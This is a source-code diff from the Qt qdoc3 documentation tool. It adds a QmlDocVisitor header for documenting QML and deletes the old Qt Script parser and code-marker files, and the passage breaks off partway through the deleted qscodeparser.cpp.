index a60d6a5..9da2c72 100644
--- a/tools/qdoc3/cpptoqsconverter.h
+++ b/tools/qdoc3/qmlvisitor.h
@@ -39,48 +39,46 @@
**
****************************************************************************/
-/*
- cpptoqsconverter.h
-*/
-
-#ifndef CPPTOQSCONVERTER_H
-#define CPPTOQSCONVERTER_H
-
-#include <qregexp.h>
+#ifndef QMLVISITOR_H
+#define QMLVISITOR_H
+#include <QString>
+#include "private/qdeclarativejsastvisitor_p.h"
+#include "node.h"
#include "tree.h"
QT_BEGIN_NAMESPACE
-class CppToQsConverter
+class QmlDocVisitor : public QDeclarativeJS::AST::Visitor
{
public:
- CppToQsConverter() { }
+ QmlDocVisitor(const QString &filePath, const QString &code,
+ QDeclarativeJS::Engine *engine, Tree *tree, QSet<QString> &commands);
+ virtual ~QmlDocVisitor();
+
+ bool visit(QDeclarativeJS::AST::UiImportList *imports);
+
+ bool visit(QDeclarativeJS::AST::UiObjectDefinition *definition);
+ void endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition);
- ClassNode *findClassNode( Tree *qsTree, const QString& qtName );
- QString convertedDataType( Tree *qsTree, const QString& leftType,
- const QString& rightType = "" );
- QString convertedCode( Tree *qsTree, const QString& code,
- const QSet<QString>& classesWithNoQ );
+ bool visit(QDeclarativeJS::AST::UiPublicMember *member);
+ void endVisit(QDeclarativeJS::AST::UiPublicMember *definition);
- static void initialize( const Config& config );
- static void terminate();
+ bool visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty);
private:
- void clearState();
- QString convertCodeLine( Tree *qsTree, const QStringList& program,
- const QString& code,
- const QSet<QString>& classesWithNoQ );
- QString convertComment( Tree *qsTree, const QString& comment,
- const QSet<QString>& classesWithNoQ );
- QString convertExpr( Tree *qsTree, const QString& expr,
- const QSet<QString>& classesWithNoQ );
- void updateDelimDepths( const QString& code );
+ QDeclarativeJS::AST::SourceLocation precedingComment(unsigned offset) const;
+ void applyDocumentation(QDeclarativeJS::AST::SourceLocation location, Node *node);
- static QRegExp qClassRegExp;
- static QRegExp addressOperatorRegExp;
- static QRegExp gulbrandsenRegExp;
- static int tabSize;
+ QDeclarativeJS::Engine *engine;
+ quint32 lastEndOffset;
+ QString filePath;
+ QString name;
+ QString document;
+ QList<QPair<QString, QString> > importList;
+ QSet<QString> commands;
+ Tree *tree;
+ InnerNode *current;
};
QT_END_NAMESPACE
diff --git a/tools/qdoc3/qsakernelparser.cpp b/tools/qdoc3/qsakernelparser.cpp
deleted file mode 100644
index c7f9e6f..0000000
--- a/tools/qdoc3/qsakernelparser.cpp
+++ /dev/null
@@ -1,186 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include <qfile.h>
-
-#include "qsakernelparser.h"
-#include "tokenizer.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-QsaKernelParser::QsaKernelParser( Tree *cppTree )
- : cppTre( cppTree )
-{
-}
-
-QsaKernelParser::~QsaKernelParser()
-{
-}
-
-QString QsaKernelParser::language()
-{
- return "QSA Kernel C++";
-}
-
-QString QsaKernelParser::sourceFileNameFilter()
-{
- return "*.cpp";
-}
-
-void QsaKernelParser::parseSourceFile( const Location& location,
- const QString& filePath,
- Tree * /* tree */ )
-{
- QFile in(filePath);
- if (!in.open(QIODevice::ReadOnly)) {
- location.error( tr("Cannot open QSA kernel file '%1'").arg(filePath) );
- return;
- }
-
- Location fileLocation( filePath );
- Tokenizer fileTokenizer( fileLocation, in );
- tokenizer = &fileTokenizer;
- readToken();
-
- QString ident;
- QString className;
- int delimDepth = 0;
-
- while ( tok != Tok_Eoi ) {
- if ( tok == Tok_Ident ) {
- ident = tokenizer->lexeme();
- readToken();
- if ( tok == Tok_Gulbrandsen && tokenizer->braceDepth() == 0 &&
- tokenizer->parenDepth() == 0 ) {
- className = ident;
- } else if ( ident.startsWith("add") && ident.endsWith("Member") &&
- tok == Tok_LeftParen ) {
- bool isProperty = ident.endsWith( "VariableMember" );
- bool isStatic = ident.startsWith( "addStatic" );
- bool isWritable = !isStatic;
-
- readToken();
- if ( tok == Tok_String ) {
- QString member = tokenizer->lexeme();
- member = member.mid( 1, member.length() - 2 );
-
- readToken();
- if ( tok == Tok_Comma )
- readToken();
- if ( tok == Tok_Ident && tokenizer->lexeme() == "QSMember" )
- readToken();
- if ( tok == Tok_LeftParen ) {
- delimDepth++;
- readToken();
- }
-
- while ( tok != Tok_Eoi && tok != Tok_RightParen &&
- tok != Tok_Semicolon ) {
- if ( tok == Tok_Ident ) {
- ident = tokenizer->lexeme();
- if ( ident == "Custom" ) {
- isProperty = true;
- } else if ( ident == "AttributeNonWritable" ) {
- isWritable = false;
- } else if ( ident == "AttributeStatic" ) {
- isStatic = true;
- }
- }
- readToken();
- }
-
- ClassNode *classe =
- (ClassNode *) cppTre->findNode( QStringList(className),
- Node::Class );
- if ( classe == 0 ) {
- classe = new ClassNode( cppTre->root(), className );
- classe->setLocation( tokenizer->location() );
- }
-
- if ( isProperty ) {
- PropertyNode *property = new PropertyNode(classe, member);
- property->setLocation( tokenizer->location() );
- property->setDataType( "Object" );
-#if 0
- property->setGetter( member );
- if ( isWritable ) {
- QString setter = member;
- setter[0] = setter[0].toUpper();
- setter.prepend( "set" );
- property->setSetter( setter );
- }
-#endif
- } else {
- FunctionNode *func = new FunctionNode( classe, member );
- func->setLocation( tokenizer->location() );
- func->setAccess( FunctionNode::Public );
- func->setMetaness( FunctionNode::Slot );
- if ( member == "toLocaleString" ||
- member == "toString" ) {
- func->setReturnType( "QString" );
- } else if ( member == "valueOf" ) {
- func->setReturnType( "Object" );
- } else {
- func->setReturnType( "Object" );
- func->addParameter( Parameter("...") );
- }
- func->setStatic( false ); // ###
- }
- }
- }
- } else {
- readToken();
- }
- }
- in.close();
-}
-
-void QsaKernelParser::doneParsingSourceFiles( Tree * /* tree */ )
-{
-}
-
-void QsaKernelParser::readToken()
-{
- tok = tokenizer->getToken();
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/qscodemarker.cpp b/tools/qdoc3/qscodemarker.cpp
deleted file mode 100644
index b53b676..0000000
--- a/tools/qdoc3/qscodemarker.cpp
+++ /dev/null
@@ -1,378 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- qscodemarker.cpp
-*/
-
-#include "node.h"
-#include "qscodemarker.h"
-
-QT_BEGIN_NAMESPACE
-
-QsCodeMarker::QsCodeMarker()
-{
-}
-
-QsCodeMarker::~QsCodeMarker()
-{
-}
-
-bool QsCodeMarker::recognizeCode( const QString& /* code */ )
-{
- return true;
-}
-
-bool QsCodeMarker::recognizeExtension( const QString& ext )
-{
- return ext == "js" || ext == "qs";
-}
-
-bool QsCodeMarker::recognizeLanguage( const QString& lang )
-{
- return lang == "JavaScript" || lang == "Qt Script";
-}
-
-QString QsCodeMarker::plainName( const Node *node )
-{
- QString name = node->name();
- if ( node->type() == Node::Function )
- name += "()";
- return name;
-}
-
-QString QsCodeMarker::plainFullName( const Node *node, const Node * /* relative */ )
-{
- QString fullName;
- for ( ;; ) {
- fullName.prepend( plainName(node) );
- if ( node->parent()->name().isEmpty() )
- break;
- node = node->parent();
- fullName.prepend(".");
- }
- return fullName;
-}
-
-QString QsCodeMarker::markedUpCode( const QString& code,
- const Node * /* relative */,
- const QString& /* dirPath */ )
-{
- return protect( code );
-}
-
-QString QsCodeMarker::markedUpSynopsis( const Node *node,
- const Node * /* relative */,
- SynopsisStyle style )
-{
- QString synopsis;
- QStringList extras;
- QString name;
-
- name = taggedNode( node );
- if ( style != Detailed )
- name = linkTag( node, name );
- name = "<@name>" + name + "</@name>";
-
- if ( style == Detailed && !node->parent()->name().isEmpty() &&
- node->type() != Node::Enum )
- name.prepend( taggedNode(node->parent()) + "." );
-
- switch ( node->type() ) {
- case Node::Class:
- synopsis = "class " + name;
- break;
- case Node::Function:
- {
- const FunctionNode *func = (const FunctionNode *) node;
-
- synopsis = name;
-
- if ( style == SeparateList ) {
- synopsis += "()";
- } else {
- synopsis += " (";
- if ( !func->parameters().isEmpty() ) {
- synopsis += " ";
- int numOptional = 0;
- QList<Parameter>::ConstIterator p = func->parameters().begin();
- while ( p != func->parameters().end() ) {
- if ( !(*p).defaultValue().isEmpty() ) {
- if ( p == func->parameters().begin() ) {
- synopsis += "[ ";
- } else {
- synopsis += " [ , ";
- }
- numOptional++;
- } else {
- if ( p != func->parameters().begin() )
- synopsis += ", ";
- }
- if ( !(*p).name().isEmpty() )
- synopsis += "<@param>" + protect( (*p).name() ) +
- "</@param> : ";
- synopsis += protect( (*p).leftType() );
- ++p;
- }
- for ( int i = 0; i < numOptional; i++ )
- synopsis += " ]";
- synopsis += " ";
- }
- synopsis += ")";
- }
-
- if ( style != SeparateList && !func->returnType().isEmpty() )
- synopsis += " : " + protect( func->returnType() );
-
- if ( style == Detailed && func->metaness() == FunctionNode::Signal )
- extras << "[signal]";
- }
- break;
- case Node::Property:
- {
- const PropertyNode *property = (const PropertyNode *) node;
-
- synopsis = name;
- if ( style != SeparateList )
- synopsis += " : " + property->dataType();
- if ( style == Detailed && property->setters().isEmpty() )
- extras << "[read only]";
- }
- break;
- case Node::Enum:
- {
- /*
- The letters A to F and X (upper- and lower-case) can
- appear in a hexadecimal constant (e.g. 0x3F).
- */
- QRegExp letterRegExp( "[G-WYZg-wyz_]" );
- const EnumNode *enume = (const EnumNode *) node;
-
- synopsis = name;
- if ( style == Summary && !enume->items().isEmpty() ) {
- synopsis += " : ";
- QString comma;
- QList<EnumItem>::ConstIterator it = enume->items().begin();
- while ( it != enume->items().end() ) {
- if ( enume->itemAccess((*it).name()) == Node::Public ) {
- synopsis += comma;
- synopsis += (*it).name();
- if ( (*it).value().indexOf(letterRegExp) != -1 )
- synopsis += " = " + (*it).value();
- comma = ", ";
- }
- ++it;
- }
- }
- }
- break;
- case Node::Namespace:
- case Node::Typedef:
- default:
- synopsis = name;
- }
-
- if ( style == Summary ) {
- if ( node->status() == Node::Preliminary ) {
- extras << "(preliminary)";
- } else if ( node->status() == Node::Deprecated ) {
- extras << "(deprecated)";
- } else if ( node->status() == Node::Obsolete ) {
- extras << "(obsolete)";
- }
- }
-
- QString extra;
- if ( !extras.isEmpty() )
- extra = "<@extra>" + extras.join(" ") + "</@extra>";
- return synopsis + extra;
-}
-
-QString QsCodeMarker::markedUpName( const Node *node )
-{
- QString name = linkTag( node, taggedNode(node) );
- if ( node->type() == Node::Function )
- name += "()";
- return name;
-}
-
-QString QsCodeMarker::markedUpFullName( const Node *node,
- const Node * /* relative */ )
-{
- QString fullName;
- for ( ;; ) {
- fullName.prepend( markedUpName(node) );
- if ( node->parent()->name().isEmpty() )
- break;
- node = node->parent();
- fullName.prepend( "<@op>.</@op>" );
- }
- return fullName;
-}
-
-QString QsCodeMarker::markedUpEnumValue(const QString & /* enumValue */,
- const Node * /* relative */)
-{
- return QString();
-}
-
-QString QsCodeMarker::markedUpIncludes( const QStringList& /* includes */ )
-{
- return QString();
-}
-
-QString QsCodeMarker::functionBeginRegExp( const QString& funcName )
-{
- return "^function[ \t].*\\b" + QRegExp::escape( funcName );
-}
-
-QString QsCodeMarker::functionEndRegExp( const QString& /* funcName */ )
-{
- return "^}";
-}
-
-QList<Section> QsCodeMarker::sections( const InnerNode *inner, SynopsisStyle style, Status status )
-{
- QList<Section> sections;
-
- if (inner->type() != Node::Class)
- return sections;
-
- const ClassNode *classe = static_cast<const ClassNode *>(inner);
-
- if ( style == Summary ) {
- FastSection enums(classe, "Enums", "", "enum", "enums");
- FastSection functions(classe, "Functions", "", "function", "functions");
- FastSection readOnlyProperties(classe, "", "Read-Only Properties", "property", "properties");
- FastSection signalz(classe, "Signals", "", "signal", "signals");
- FastSection writableProperties(classe, "", "Writable Properties", "property", "properties");
-
- QStack<const ClassNode *> stack;
- stack.push( classe );
-
- while ( !stack.isEmpty() ) {
- const ClassNode *ancestorClass = stack.pop();
-
- NodeList::ConstIterator c = ancestorClass->childNodes().begin();
- while ( c != ancestorClass->childNodes().end() ) {
- if ( (*c)->access() == Node::Public ) {
- if ( (*c)->type() == Node::Enum ) {
- insert( enums, *c, style, status );
- } else if ( (*c)->type() == Node::Function ) {
- const FunctionNode *func = (const FunctionNode *) *c;
- if ( func->metaness() == FunctionNode::Signal ) {
- insert( signalz, *c, style, status );
- } else {
- insert( functions, *c, style, status );
- }
- } else if ( (*c)->type() == Node::Property ) {
- const PropertyNode *property =
- (const PropertyNode *) *c;
- if ( property->setters().isEmpty() ) {
- insert( readOnlyProperties, *c, style, status );
- } else {
- insert( writableProperties, *c, style, status );
- }
- }
- }
- ++c;
- }
-
- QList<RelatedClass>::ConstIterator r = ancestorClass->baseClasses().begin();
- while ( r != ancestorClass->baseClasses().end() ) {
- stack.prepend( (*r).node );
- ++r;
- }
- }
- append( sections, enums );
- append( sections, writableProperties );
- append( sections, readOnlyProperties );
- append( sections, functions );
- append( sections, signalz );
- } else if ( style == Detailed ) {
- FastSection enums( classe, "Enum Documentation", "", "member", "members");
- FastSection functionsAndSignals( classe, "Function and Signal Documentation", "", "member", "members");
- FastSection properties( classe, "Property Documentation", "", "member", "members");
-
- NodeList::ConstIterator c = classe->childNodes().begin();
- while ( c != classe->childNodes().end() ) {
- if ( (*c)->access() == Node::Public ) {
- if ( (*c)->type() == Node::Enum ) {
- insert( enums, *c, style, status );
- } else if ( (*c)->type() == Node::Function ) {
- insert( functionsAndSignals, *c, style, status );
- } else if ( (*c)->type() == Node::Property ) {
- insert( properties, *c, style, status );
- }
- }
- ++c;
- }
- append( sections, enums );
- append( sections, properties );
- append( sections, functionsAndSignals );
- } else { // ( style == SeparateList )
- FastSection all(classe, "", "", "member", "members");
-
- QStack<const ClassNode *> stack;
- stack.push( classe );
-
- while ( !stack.isEmpty() ) {
- const ClassNode *ancestorClass = stack.pop();
-
- NodeList::ConstIterator c = ancestorClass->childNodes().begin();
- while ( c != ancestorClass->childNodes().end() ) {
- if ( (*c)->access() == Node::Public )
- insert( all, *c, style, status );
- ++c;
- }
-
- QList<RelatedClass>::ConstIterator r = ancestorClass->baseClasses().begin();
- while ( r != ancestorClass->baseClasses().end() ) {
- stack.prepend( (*r).node );
- ++r;
- }
- }
- append( sections, all );
- }
- return sections;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/qscodemarker.h b/tools/qdoc3/qscodemarker.h
deleted file mode 100644
index a52ea0c..0000000
--- a/tools/qdoc3/qscodemarker.h
+++ /dev/null
@@ -1,79 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- qscodemarker.h
-*/
-
-#ifndef QSCODEMARKER_H
-#define QSCODEMARKER_H
-
-#include "codemarker.h"
-
-QT_BEGIN_NAMESPACE
-
-class QsCodeMarker : public CodeMarker
-{
-public:
- QsCodeMarker();
- ~QsCodeMarker();
-
- bool recognizeCode( const QString& code );
- bool recognizeExtension( const QString& ext );
- bool recognizeLanguage( const QString& lang );
- QString plainName(const Node *node);
- QString plainFullName(const Node *node, const Node *relative);
- QString markedUpCode( const QString& code, const Node *relative,
- const QString& dirPath );
- QString markedUpSynopsis( const Node *node, const Node *relative,
- SynopsisStyle style );
- QString markedUpName( const Node *node );
- QString markedUpFullName( const Node *node, const Node *relative );
- QString markedUpEnumValue(const QString &enumValue, const Node *relative);
- QString markedUpIncludes( const QStringList& includes );
- QList<Section> sections(const InnerNode *innerNode, SynopsisStyle style, Status status);
- QString functionBeginRegExp( const QString& funcName );
- QString functionEndRegExp( const QString& funcName );
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/qscodeparser.cpp b/tools/qdoc3/qscodeparser.cpp
deleted file mode 100644
index 65d0f97..0000000
--- a/tools/qdoc3/qscodeparser.cpp
+++ /dev/null
@@ -1,944 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- qscodeparser.cpp
-*/
-
-#include <qfile.h>
-#include <qregexp.h>
-
-#include "config.h"
-#include "qscodeparser.h"
-#include "text.h"
-#include "tokenizer.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-#define CONFIG_QUICK "quick"
-#define CONFIG_REPLACES "replaces"
-
-#define COMMAND_BRIEF Doc::alias( "brief")
-#define COMMAND_CODE Doc::alias( "code")
-#define COMMAND_ENDCODE Doc::alias( "endcode")
-#define COMMAND_ENDQUICKCODE Doc::alias( "endquickcode")
-#define COMMAND_FILE Doc::alias( "file")
-#define COMMAND_GROUP Doc::alias( "group")
-#define COMMAND_MODULE Doc::alias( "module")
-#define COMMAND_PAGE Doc::alias( "page")
-#define COMMAND_QUICKCLASS Doc::alias( "quickclass")
-#define COMMAND_QUICKCODE Doc::alias( "quickcode")
-#define COMMAND_QUICKENUM Doc::alias( "quickenum")
-#define COMMAND_QUICKFN Doc::alias( "quickfn")
-#define COMMAND_QUICKIFY Doc::alias( "quickify")
-#define COMMAND_QUICKPROPERTY Doc::alias( "quickproperty")
-#define COMMAND_PROTECTED Doc::alias( "protected")
-#define COMMAND_REPLACE Doc::alias( "replace")
-
-static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*";
-
-QsCodeParser::QsCodeParser(Tree *cppTree)
- : cppTre(cppTree), qsTre(0), replaceRegExp("/(.+)/([^/]*)/")
-{
-}
-
-QsCodeParser::~QsCodeParser()
-{
-}
-
-void QsCodeParser::initializeParser(const Config& config)
-{
- CppCodeParser::initializeParser(config);
-
- nodeTypeMap.insert(COMMAND_QUICKCLASS, Node::Class);
- nodeTypeMap.insert(COMMAND_QUICKENUM, Node::Enum);
- nodeTypeMap.insert(COMMAND_QUICKPROPERTY, Node::Property);
- nodeTypeMap.insert(COMMAND_QUICKFN, Node::Function);
-
- QString quickDotReplaces = CONFIG_QUICK + Config::dot + CONFIG_REPLACES;
- QStringList replaces = config.getStringList(quickDotReplaces);
- QStringList::ConstIterator r = replaces.begin();
- while (r != replaces.end()) {
- if (replaceRegExp.exactMatch(*r)) {
- QRegExp before(replaceRegExp.cap(1));
- before.setMinimal(true);
- QString after = replaceRegExp.cap(2);
-
- if (before.isValid()) {
- replaceBefores << before;
- replaceAfters << after;
- }
- else {
- config.lastLocation().warning(
- tr("Invalid regular expression '%1'")
- .arg(before.pattern()));
- }
- }
- else {
- config.lastLocation().warning(tr("Bad syntax in '%1'")
- .arg(quickDotReplaces));
- }
- ++r;
- }
-}
-
-void QsCodeParser::terminateParser()
-{
- nodeTypeMap.clear();
- classesWithNoQuickDoc.clear();
- replaceBefores.clear();
- replaceAfters.clear();
- CppCodeParser::terminateParser();
-}
-
-QString QsCodeParser::language()
-{
- return "Qt Script";
-}
-
-QString QsCodeParser::headerFileNameFilter()
-{
- return "*";
-}
-
-QString QsCodeParser::sourceFileNameFilter()
-{
- return "*.qs *.qsd";
-}
-
-void QsCodeParser::parseHeaderFile(const Location& location,
- const QString& filePath,
- Tree *tree)
-{
- qsTre = tree;
-
- QFile in(filePath);
- if (!in.open(QIODevice::ReadOnly)) {
- location.error(tr("Cannot open Qt Script class list '%1'")
- .arg(filePath));
- return;
- }
-
- Location fileLocation(filePath);
- Tokenizer fileTokenizer(fileLocation, in);
- int tok = fileTokenizer.getToken();
- while (tok != Tok_Eoi) {
- if (tok == Tok_Ident) {
- ClassNode *quickClass = new ClassNode(qsTre->root(),
- fileTokenizer.lexeme());
- quickClass->setLocation(fileTokenizer.location());
- }
- else {
- fileTokenizer.location().error(tr("Unexpected token '%1' in Qt"
- " Script class list")
- .arg(fileTokenizer.lexeme()));
- break;
- }
- tok = fileTokenizer.getToken();
- }
- in.close();
-}
-
-void QsCodeParser::parseSourceFile(const Location& location,
- const QString& filePath,
- Tree *tree)
-{
- qsTre = tree;
- CppCodeParser::parseSourceFile(location, filePath, tree);
-}
-
-void QsCodeParser::doneParsingHeaderFiles(Tree *tree)
-{
- NodeList::ConstIterator c = tree->root()->childNodes().begin();
- while (c != tree->root()->childNodes().end()) {
- if ((*c)->type() == Node::Class)
- quickifyClass((ClassNode *) *c);
- ++c;
- }
- cppTre->root()->deleteChildren(); // save memory
- tree->resolveInheritance();
- tree->resolveProperties();
-}
-
-void QsCodeParser::doneParsingSourceFiles(Tree *tree)
-{
- tree->root()->normalizeOverloads();
-
- NodeList::ConstIterator c = tree->root()->childNodes().begin();
- while (c != tree->root()->childNodes().end()) {
- if ((*c)->type() == Node::Class) {
- QMap<QString, Node *>::ConstIterator cwnqd =
- classesWithNoQuickDoc.find((*c)->name());
- if (cwnqd != classesWithNoQuickDoc.end()) {
- (*cwnqd)->location().warning(tr("No '\\%1' documentation for"
- " class '%2'")
- .arg(COMMAND_QUICKCLASS)
- .arg(cwnqd.key()));
- (*cwnqd)->setDoc(Doc(), true);
- }
- }
- ++c;
- }
-
- // ### check which enum types are used
-}
-
-FunctionNode *QsCodeParser::findFunctionNode(const QString& synopsis,
- Tree *tree)
-{
- QStringList parentPath;
- FunctionNode *clone;
- FunctionNode *func = 0;
-
- if (makeFunctionNode(synopsis, &parentPath, &clone)) {
- func = tree->findFunctionNode(parentPath, clone);
- delete clone;
- }
- return func;
-}
-
-QSet<QString> QsCodeParser::topicCommands()
-{
- return QSet<QString>() << COMMAND_FILE << COMMAND_GROUP << COMMAND_MODULE
- << COMMAND_PAGE << COMMAND_QUICKCLASS
- << COMMAND_QUICKENUM << COMMAND_QUICKFN
- << COMMAND_QUICKPROPERTY;
-}
-
-Node *QsCodeParser::processTopicCommand(const Doc& doc,
- const QString& command,
- const QString& arg)
-{
- if (command == COMMAND_QUICKFN) {
- QStringList parentPath;
- FunctionNode *quickFunc = 0;
- FunctionNode *clone;
-
- if (makeFunctionNode(arg, &parentPath, &clone)) {
- FunctionNode *kernelFunc = findKernelFunction(parentPath,
- clone->name());
- if (kernelFunc != 0)
- kernelFunc->setAccess(Node::Private);
-
- quickFunc = qsTre->findFunctionNode(parentPath, clone);
- if (quickFunc == 0 && kernelFunc != 0) {
- quickFunc = new FunctionNode(kernelFunc->parent(),
- kernelFunc->name());
- quickFunc->setLocation(kernelFunc->location());
- quickFunc->setReturnType(clone->returnType());
- quickFunc->setParameters(clone->parameters());
- }
-
- if (quickFunc == 0) {
- doc.location().warning(tr("Cannot find '%1' specified with '\\%2'")
- .arg(arg).arg(command));
- }
- else {
- quickFunc->setAccess(Node::Public);
- QStringList qtParams = quickFunc->parameterNames();
- quickFunc->borrowParameterNames(clone);
- QStringList quickParams = quickFunc->parameterNames();
- setQuickDoc(quickFunc, doc, qtParams, quickParams);
- }
- delete clone;
- }
- else {
- doc.location().warning(tr("Cannot find '%1' specified with '\\%2'")
- .arg(arg).arg(command));
- }
- return 0;
- }
- else if (nodeTypeMap.contains(command)) {
- QStringList subArgs = arg.split(" ");
- QString dataType;
-
- if (subArgs.count() == 3 && subArgs[1] == ":") {
- dataType = subArgs[2];
- }
- else if (subArgs.count() != 1) {
- doc.location().warning(tr("Invalid syntax in '\\%1'")
- .arg(command));
- }
-
- QStringList path = subArgs[0].split(".");
- Node *quickNode = qsTre->findNode(path, nodeTypeMap[command]);
- if (quickNode == 0) {
- doc.location().warning(tr("Cannot find '%1' specified with '\\%2'")
- .arg(arg).arg(command));
- }
- else {
- setQuickDoc(quickNode, doc);
- if (quickNode->type() == Node::Class) {
- classesWithNoQuickDoc.remove(quickNode->name());
- if (doc.briefText().isEmpty())
- doc.location().warning(tr("Missing '\\%1' for class '%2'")
- .arg(COMMAND_BRIEF)
- .arg(quickNode->name()));
- }
- else if (quickNode->type() == Node::Property) {
- PropertyNode *quickProperty = (PropertyNode *) quickNode;
- if (quickProperty->dataType() == "Object") {
- if (dataType.isEmpty()) {
- doc.location().warning(tr("Missing data type in '\\%1'"
- " (assuming 'Object')")
- .arg(command));
- }
- else {
- quickProperty->setDataType(dataType);
- }
- }
- else if (dataType != quickProperty->dataType()) {
- doc.location().warning(tr("Ignored contradictory data type"
- " in '\\%1'")
- .arg(command));
- }
- }
- }
- return 0;
- }
- else {
- return CppCodeParser::processTopicCommand(doc, command, arg);
- }
-}
-
-QSet<QString> QsCodeParser::otherMetaCommands()
-{
- return commonMetaCommands() << COMMAND_ENDQUICKCODE << COMMAND_QUICKCODE
- << COMMAND_QUICKIFY << COMMAND_REPLACE;
-}
-
-void QsCodeParser::processOtherMetaCommand(const Doc& doc,
- const QString& command,
- const QString& arg,
- Node *node)
-{
- if (command == COMMAND_PROTECTED) {
- doc.location().warning(tr("Cannot use '\\%1' in %2")
- .arg(COMMAND_PROTECTED).arg(language()));
- }
- else {
- CppCodeParser::processOtherMetaCommand(doc,command,arg,node);
- }
-}
-
-ClassNode *QsCodeParser::tryClass(const QString& className)
-{
- return (ClassNode*) cppTre->findNode(QStringList(className),Node::Class);
-}
-
-FunctionNode *QsCodeParser::findKernelFunction(const QStringList& parentPath,
- const QString& name)
-{
- FunctionNode clone(0, name);
- clone.setReturnType("Object");
- clone.addParameter(Parameter("..."));
- return qsTre->findFunctionNode(parentPath, &clone);
-}
-
-void QsCodeParser::extractRegExp(const QRegExp& regExp,
- QString& source,
- const Doc& doc)
-{
- QRegExp blankLineRegExp(
- "[ \t]*(?:\n(?:[ \t]*\n)+[ \t]*|[ \n\t]*\\\\code|"
- "\\\\endcode[ \n\t]*)");
- QStringList paras = source.trimmed().split(blankLineRegExp);
- paras = paras.filter(regExp);
- if (paras.count() == 0) {
- doc.location().warning(tr("Cannot find regular expression '%1'")
